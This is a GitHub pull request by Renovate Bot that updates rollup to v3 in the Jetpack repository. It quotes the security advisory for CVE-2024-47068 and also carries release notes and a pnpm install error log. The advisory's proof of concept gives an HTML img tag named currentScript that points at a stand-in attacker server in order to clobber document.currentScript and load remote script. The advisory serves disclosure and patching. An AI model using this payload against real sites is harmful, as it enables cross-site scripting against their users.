Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update dependency rollup to v3 [SECURITY] - autoclosed #39500

Closed
wants to merge 1 commit into from

Conversation

matticbot
Copy link
Contributor

@matticbot matticbot commented Sep 24, 2024

This PR contains the following updates:

Package Type Update Change
rollup (source) devDependencies major 2.79.1 -> 3.29.5

DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS

CVE-2024-47068 / GHSA-gcx4-mw62-g8wm

More information

Details

Summary

A DOM Clobbering vulnerability was discovered in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that similar issues in other popular bundlers like Webpack (CVE-2024-43788) have been reported, which might serve as a good reference.

Details
Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in rollup

A DOM Clobbering vulnerability in rollup bundled scripts was identified, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>
Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
	getResolveUrl(
		`'${escapeId(relativePath)}', ${
			umd ? `typeof document === 'undefined' ? location.href : ` : ''
		}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
	);
const getUrlFromDocument = (chunkId: string, umd = false) =>
	`${
		umd ? `typeof document === 'undefined' ? location.href : ` : ''
	}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
		chunkId
	)}', document.baseURI).href)`;

Severity

  • CVSS Score: 6.4 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Release Notes

rollup/rollup (rollup)

v3.29.5

Compare Source

v3.29.4

Compare Source

2023-09-28

Bug Fixes
  • Fix static analysis when an exported function uses callbacks (#​5158)
Pull Requests

v3.29.3

Compare Source

2023-09-24

Bug Fixes
  • Fix a bug where code was wrongly tree-shaken after mutating function parameters (#​5153)
Pull Requests

v3.29.2

Compare Source

2023-09-15

Bug Fixes
  • Export TreeshakingPreset type (#​5131)
Pull Requests

v3.29.1

Compare Source

2023-09-10

Bug Fixes
  • Fix time measurement of plugin hooks in watch mode (#​5114)
  • Ensure accessing document.currentScript in import.meta.url returns correct results (#​5118)
Pull Requests

v3.29.0

Compare Source

2023-09-06

Features
  • Add output.sourcemapFileNames option (#​5105)
  • Add generic type parameter for api to Plugin type (#​5112)
Bug Fixes
  • Ensure mutations of CustomEvent details are tracked (#​5123)
Pull Requests

v3.28.1

Compare Source

2023-08-22

Bug Fixes
  • Ensure external files with relative import paths outside the target are rendered correctly (#​5099)
Pull Requests

v3.28.0

Compare Source

2023-08-09

Features
  • Add a new property preliminaryFileName to generated chunks containing the file name placeholder (#​5086)
  • Improve performance of sourcemap generation by lazily decoding mappings (#​5087)
Bug Fixes
  • Make the code property of rendered modules in the output readonly (#​5091)
Pull Requests

v3.27.2

Compare Source

2023-08-04

Bug Fixes
  • Revert sourcemap performance improvement for now as it causes issues with Vite (#​5075)
Pull Requests

v3.27.1

Compare Source

2023-08-03

Bug Fixes
  • Improve performance when generating sourcemaps (#​5075)
Pull Requests

v3.27.0

Compare Source

2023-07-28

Features
  • Mark Object.values and Object.entries as pure if their argument does not contain getters (#​5072)
Pull Requests

v3.26.3

Compare Source

2023-07-17

Bug Fixes
  • Do not pass external modules to manualChunks to avoid breaking existing configs (#​5068)
Pull Requests

v3.26.2

Compare Source

2023-07-06

Bug Fixes
  • Improve error handling when manual chunks would contain external modules (#​5050)
Pull Requests
  • #​5050: fix: improve error for manualChunks' modules that are resolved as an external module (@​TrickyPi)

v3.26.1

Compare Source

2023-07-05

Bug Fixes
  • Support hasOwnProperty as exported name in CommonJS (#​5010)
  • Properly reference browser types in package file (#​5051)
Pull Requests

v3.26.0

Compare Source

2023-06-30

Features
  • Add --filterLogs CLI flag and ROLLUP_FILTER_LOGS environment variable for log filtering (#​5035)
Pull Requests

v3.25.3

Compare Source

2023-06-26

Bug Fixes
  • Fix error when inlining dynamic imports that contain unused reexported variables (#​5047)
Pull Requests

v3.25.2

Compare Source

2023-06-24

Bug Fixes
  • Handle plugin errors where code is not a string (#​5042)
  • Use current transformed source when generating code frames with positions in transform hooks (#​5045)
Pull Requests

v3.25.1

Compare Source

2023-06-12

Bug Fixes
  • Respect __NO_SIDE_EFFECTS__ for async functions (#​5031)
Pull Requests

v3.25.0

Compare Source

2023-06-11

Features
  • Add this.info and this.debug plugin context logging functions (#​5026)
  • Add onLog option to read, map and filter logs (#​5026)
  • Add logLevel option to fully suppress logs by level (#​5026)
  • Support function logs in this.warn, this.info and this.debug to avoid heavy computations based on log level ( #​5026)
  • Add onLog plugin hook to read, filter and map logs from plugins (#​5026)
Pull Requests

v3.24.1

Compare Source

2023-06-10

Bug Fixes
  • Fix an issue where bundles with @rollup/plugin-commonjs were missing internal dependencies when code-splitting ( #​5029)
  • Do not use process.exit(0) in watch mode to avoid issues in embedded scenarios (#​5027)
Pull Requests

v3.24.0

Compare Source

2023-06-07

Features
  • Add new annotation /* #__NO_SIDE_EFFECTS__ */ to mark function declarations as side effect free (#​5024)
Pull Requests
  • #​5024: feat: support #__NO_SIDE_EFFECTS__ annotation for function declaration (@​antfu)

v3.23.1

Compare Source

2023-06-04

Bug Fixes
  • Ensure the last segment of sourcemapBaseUrl is never omitted (#​5022)
Pull Requests

v3.23.0

Compare Source

2023-05-22

Features
  • Support emitting "prebuilt chunks" from plugins (#​4990)
Bug Fixes
  • Mark Sets and Maps as pure when they receive an array literal as argument (#​5005)
Pull Requests

v3.22.1

Compare Source

2023-05-21

Bug Fixes
  • Remove force quit again as it caused some issues (#​5004)
Pull Requests

v3.22.0

Compare Source

2023-05-17

Features
  • Prevent empty non-facade chunks by merging them into other suitable chunks (#​4989)
  • Avoid facade chunks in some situations involving reexports (#​4989)
  • Improve algorithm for best merge target when using experimentalMinChunkSize to take tree-shaking into account ( #​4989)
Bug Fixes
  • Take side effects of external dependencies into account when merging chunks for experimentalMinChunkSize (#​4989)
Pull Requests

v3.21.8

Compare Source

2023-05-16

Bug Fixes
  • Allow a namespace to properly contain itself as a named export (#​4991)
Pull Requests

v3.21.7

Compare Source

2023-05-13

Bug Fixes
  • Show correct error on uncaught exceptions in watch mode (#​4987)
Pull Requests

v3.21.6

Compare Source

2023-05-09

Bug Fixes
  • Ensure Rollup CLI prints everything to stdout before exiting (#​4980)
Pull Requests

v3.21.5

Compare Source

2023-05-05

Bug Fixes
  • Keep all consecutive lines at the top of each module that start with a comment (#​4975)
  • Ensure that declarations inside switch cases do not use the same scope as the discriminator (#​4979)
Pull Requests

v3.21.4

Compare Source

2023-05-03

Bug Fixes
  • Resolve crash when shimming a missing export in an otherwise non-included module when preserving modules (#​4971)
Pull Requests

v3.21.3

Compare Source

2023-05-02

Bug Fixes
  • Run process.exit() when Rollup CLI finishes successfully to solve issues on some systems (#​4969)
Pull Requests

v3.21.2

Compare Source

2023-04-30

Bug Fixes
  • Mark global functions that trigger iterators as impure for now (#​4955)
Pull Requests

v3.21.1

Compare Source

2023-04-29

Bug Fixes
  • Make sure call arguments are properly deoptimized when a function uses the arguments variable (#​4965)
Pull Requests

v3.21.0

Compare Source

2023-04-23

Features
  • Support tree-shaking of named exports in dynamic imports when using destructuring and similar patterns (#​4952)
Pull Requests

v3.20.7

Compare Source

2023-04-21

Bug Fixes
  • Properly track array element mutations when iterating with a for-of loop (#​4949)
  • Handle default exporting an anonymous class that extends another class (#​4950)
Pull Requests

v3.20.6

Compare Source

2023-04-18

Bug Fixes
  • Revert handling of non-JS import and export names due to regressions (#​4914)
Pull Requests

v3.20.5

Compare Source

2023-04-18

Bug Fixes
  • Handle import and export names that are not valid JavaScript identifiers (#​4939)
Pull Requests

v3.20.4

Compare Source

2023-04-17

Bug Fixes
  • Do not remove breaks statements after switch statements with conditional breaks (#​4937)
Pull Requests

v3.20.3

Compare Source

2023-04-16

Bug Fixes
  • Reduce memory consumption for function call parameter analysis (#​4938)
  • Fix types for shouldTransformCachedModule (#​4932)
Pull Requests

v3.20.2

Compare Source

2023-03-24

Bug Fixes
  • Fix a crash when using a manual chunk entry that is not already included in the module graph (#​4921)
  • Fix a crash when reporting a warning with incorrect sourcemap information (#​4922)
Pull Requests

v3.20.1

Compare Source

2023-03-23

Bug Fixes
  • Fix returned file name from this.getFileName when assets are deduplicated (#​4919)
Pull Requests

v3.20.0

Compare Source

2023-03-20

Features
  • Allow dynamically imported files to have synthetic named exports when preserving modules (#​4913)
Bug Fixes
  • Use deterministic file name when emitting several files with same source (#​4912)
  • Fix a crash when dynamically importing a file with synthetic named exports when preserving modules (#​4913)
Pull Requests

v3.19.1

Compare Source

2023-03-10

Bug Fixes
  • Produce valid code when the first statement in aclass static block is tree-shaken (#​4898)
Pull Requests

v3.19.0

Compare Source

2023-03-09

Features
  • Make reassignment tracking of call parameters more specific to no lose information when an object is passed to a function (#​4892)
Pull Requests

v3.18.0

Compare Source

2023-03-01

Features
  • Add experimentalLogSideEffects to log the first detected side effect in every module (#​4871)
  • Ignore-list sourcemaps of files inside node_modules by default (#​4877)
Pull Requests

v3.17.3

Compare Source

2023-02-25

Bug Fixes
  • Handle non-URL-safe characters when poly-filling import.meta.url (#​4875)
Pull Requests

v3.17.2

Compare Source

2023-02-20

Bug Fixes
  • Do not omit code if a file that only re-exports a used variable has moduleSideEffects set to true (#​4867)
  • Add missing needsCodeReference property in TypeScript for asset tree-shaking (#​4868)
  • Add correct side effect configuration for additional Object and Promise methods (#​4323)
Pull Requests

v3.17.1

Compare Source

2023-02-18

Bug Fixes
  • Add TypeScript types for loadConfigFile (#​4853)
  • Fix an issue that could include unused classes in the bundle if their super class was in a file with moduleSideEffects: false (#​4866)
Pull Requests

v3.17.0

Compare Source

2023-02-18

Features
  • Deprecate experimentalDeepDynamicChunkOptimization and always run the full chunk generation algorithm (#​4862)
Bug Fixes
  • Fix an issue that caused very slow builds for projects with over 1000 dynamic imports when experimentalDeepDynamicChunkOptimization was enabled (#​4862)
Pull Requests

v3.16.0

Compare Source

2023-02-17

Features
  • Support output.sourcemapIgnoreList option to mark file sources as ignored in the x_google_ignoreList attribute of the resulting sourcemap (#​4848)
  • Support sourcemaps where sourcesContent contains null entries (#​4846)
  • Allow explicitly passing true for the cache option to override Vite's default (#​4859)
Bug Fixes
  • Fix an issue where unrelated side effects spilled into other chunks when using the experimentalMinChunkSize option ( #​4851)
Pull Requests

v3.15.0

Compare Source

2023-02-10

Features
  • Do not consider instantiating a constructor a side effect if it adds properties to "this" and is instantiated elsewhere (#​4842)
Bug Fixes
  • Improve side effect detection in constructors (#​4842)
Pull Requests

v3.14.0

Compare Source

2023-02-05

Features
  • Add experimentalDeepDynamicChunkOptimization option to produce fewer chunks from dynamic imports (#​4837)
Pull Requests

v3.13.0

Compare Source

2023-02-03

Features
  • Prevent chunk cycles when using experimentalMinChunkSize (#​4723)
Pull Requests

v3.12.1

Compare Source

2023-02-01

Bug Fixes
  • Handle self-references in class static blocks and construtors when the class is renamed (#​4827)
  • Improve warnings when creating circular chunks taht reexport variables (#​4829)
Pull Requests

Configuration

📅 Schedule: Branch creation - "" in timezone UTC, Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Renovate Bot.

@matticbot matticbot added [Status] Needs Review To request a review from fellow Jetpack developers. Label will be renamed soon. [Type] Janitorial labels Sep 24, 2024
@matticbot
Copy link
Contributor Author

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: pnpm-lock.yaml
Scope: all 90 workspace projects
Progress: resolved 1, reused 0, downloaded 0, added 0
Progress: resolved 75, reused 0, downloaded 0, added 0
Progress: resolved 135, reused 0, downloaded 0, added 0
Progress: resolved 214, reused 0, downloaded 0, added 0
Progress: resolved 312, reused 0, downloaded 0, added 0
Packages are hard linked from the content-addressable store to the virtual store.
  Content-addressable store is at: /tmp/.pnpm-store/v3
  Virtual store is at:             node_modules/.pnpm
..._204_bb3e6aa71d73a36ec3f64e57b85b6dfe npm-install$ npm install
Progress: resolved 340, reused 0, downloaded 0, added 0
..._204_bb3e6aa71d73a36ec3f64e57b85b6dfe npm-install: > [email protected] prepare
..._204_bb3e6aa71d73a36ec3f64e57b85b6dfe npm-install: > npm run build
..._204_bb3e6aa71d73a36ec3f64e57b85b6dfe npm-install: > [email protected] build
..._204_bb3e6aa71d73a36ec3f64e57b85b6dfe npm-install: > tsc --declaration && rollup -c
..._204_bb3e6aa71d73a36ec3f64e57b85b6dfe npm-install: �[36m
..._204_bb3e6aa71d73a36ec3f64e57b85b6dfe npm-install: �[1msrc/index.ts�[22m → �[1mdist/bundle.full.js, dist/bundle.js�[22m...�[39m
..._204_bb3e6aa71d73a36ec3f64e57b85b6dfe npm-install: �[1m�[33m(!) Circular dependencies�[39m�[22m
..._204_bb3e6aa71d73a36ec3f64e57b85b6dfe npm-install: �polyfill-node._stream_duplex.js -> �polyfill-node._stream_readable.js -> �polyfill-node._stream_duplex.js
..._204_bb3e6aa71d73a36ec3f64e57b85b6dfe npm-install: �polyfill-node._stream_duplex.js -> �polyfill-node._stream_writable.js -> �polyfill-node._stream_duplex.js
..._204_bb3e6aa71d73a36ec3f64e57b85b6dfe npm-install: �[32mcreated �[1mdist/bundle.full.js, dist/bundle.js�[22m in �[1m8.4s�[22m�[39m
..._204_bb3e6aa71d73a36ec3f64e57b85b6dfe npm-install: added 969 packages, and audited 1174 packages in 37s
..._204_bb3e6aa71d73a36ec3f64e57b85b6dfe npm-install: 121 packages are looking for funding
..._204_bb3e6aa71d73a36ec3f64e57b85b6dfe npm-install:   run `npm fund` for details
..._204_bb3e6aa71d73a36ec3f64e57b85b6dfe npm-install: 35 vulnerabilities (11 moderate, 22 high, 2 critical)
..._204_bb3e6aa71d73a36ec3f64e57b85b6dfe npm-install: To address issues that do not require attention, run:
..._204_bb3e6aa71d73a36ec3f64e57b85b6dfe npm-install:   npm audit fix
..._204_bb3e6aa71d73a36ec3f64e57b85b6dfe npm-install: To address all issues (including breaking changes), run:
..._204_bb3e6aa71d73a36ec3f64e57b85b6dfe npm-install:   npm audit fix --force
..._204_bb3e6aa71d73a36ec3f64e57b85b6dfe npm-install: Run `npm audit` for details.
..._204_bb3e6aa71d73a36ec3f64e57b85b6dfe npm-install: npm notice 
..._204_bb3e6aa71d73a36ec3f64e57b85b6dfe npm-install: npm notice New minor version of npm available! 10.1.0 -> 10.8.3
..._204_bb3e6aa71d73a36ec3f64e57b85b6dfe npm-install: npm notice Changelog: <https://github.com/npm/cli/releases/tag/v10.8.3>
..._204_bb3e6aa71d73a36ec3f64e57b85b6dfe npm-install: npm notice Run `npm install -g [email protected]` to update!
..._204_bb3e6aa71d73a36ec3f64e57b85b6dfe npm-install: npm notice 
..._204_bb3e6aa71d73a36ec3f64e57b85b6dfe npm-install: Done
Progress: resolved 340, reused 0, downloaded 1, added 0
Progress: resolved 463, reused 0, downloaded 1, added 0
Progress: resolved 621, reused 0, downloaded 1, added 0
Progress: resolved 828, reused 0, downloaded 1, added 0
Progress: resolved 1152, reused 0, downloaded 1, added 0
Progress: resolved 1496, reused 0, downloaded 1, added 0
Progress: resolved 1980, reused 0, downloaded 1, added 0
Progress: resolved 2176, reused 0, downloaded 1, added 0
 WARN  9 deprecated subdependencies found: @humanwhocodes/[email protected], @humanwhocodes/[email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected], [email protected]
Progress: resolved 2177, reused 0, downloaded 1, added 0, done
 ERR_PNPM_PEER_DEP_ISSUES  Unmet peer dependencies

projects/js-packages/critical-css-gen
├─┬ @rollup/plugin-json 4.1.0
│ ├── ✕ unmet peer rollup@"^1.20.0 || ^2.0.0": found 3.29.5
│ └─┬ @rollup/pluginutils 3.1.0
│   └── ✕ unmet peer rollup@^1.20.0||^2.0.0: found 3.29.5
├─┬ @rollup/plugin-node-resolve 13.3.0
│ └── ✕ unmet peer rollup@^2.42.0: found 3.29.5
└─┬ @rollup/plugin-typescript 8.3.3
  └── ✕ unmet peer rollup@^2.14.0: found 3.29.5

projects/js-packages/image-guide
└─┬ @rollup/plugin-babel 5.3.1
  └── ✕ unmet peer rollup@^1.20.0||^2.0.0: found 3.29.5

hint: If you don't want pnpm to fail on peer dependency issues, add "strict-peer-dependencies=false" to an .npmrc file at the root of your project.


Copy link
Contributor

Are you an Automattician? The PR will need to be tested on WordPress.com. This comment will be updated with testing instructions as soon the build is complete.

@matticbot matticbot changed the title Update dependency rollup to v3 [SECURITY] Update dependency rollup to v3 [SECURITY] - autoclosed Sep 25, 2024
@matticbot matticbot closed this Sep 25, 2024
@matticbot matticbot deleted the renovate/npm-rollup-vulnerability branch September 25, 2024 14:08
@github-actions github-actions bot removed the [Status] Needs Review To request a review from fellow Jetpack developers. Label will be renamed soon. label Sep 25, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants